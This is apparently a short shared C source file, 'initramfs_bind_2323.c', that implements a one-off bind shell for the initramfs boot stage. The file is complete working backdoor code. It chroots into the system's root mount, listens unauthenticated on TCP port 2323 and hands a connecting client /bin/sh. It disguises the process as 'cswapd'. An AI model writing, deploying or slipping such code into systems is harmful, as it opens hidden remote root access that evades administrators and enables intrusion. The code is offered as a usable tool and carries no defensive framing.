bind shell that works in initramfs

initramfs_bind_2323.c

/* One-off background bind shell with chroot for initramfs. */

#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <stdio.h>

#define PORT 2323

int handleClient(int fd);
extern char **environ;


int main(int argc, char **argv) {
  int enable = 1;
  char *newroot = getenv("rootmnt");
  if (newroot) {
    chdir(newroot);
    chroot(".");
  }
  int sockfd = socket(AF_INET, SOCK_STREAM, 0);
  if (sockfd < 1)
    return 1;
  setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR|SO_REUSEPORT, &enable, sizeof(int));
  struct sockaddr_in sin;
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = INADDR_ANY;
  sin.sin_port = htons(PORT);
  if(bind(sockfd, (struct sockaddr *)&sin, sizeof(sin)) < 0)
    return 1;
  if(listen(sockfd, 1) < 0)
    return 1;
  struct sockaddr_in cli;
  int clilen = sizeof(cli);
  int client = accept(sockfd, (struct sockaddr *)&cli, (socklen_t *)&clilen);
  if(client < 0)
    return 1;
  return handleClient(client);
}

int handleClient(int fd) {
  dup2(fd, 0);
  dup2(fd, 1);
  dup2(fd, 2);
  char *argv[] = {
    "cswapd",
    NULL
  };
  return execve("/bin/sh", argv, environ);
}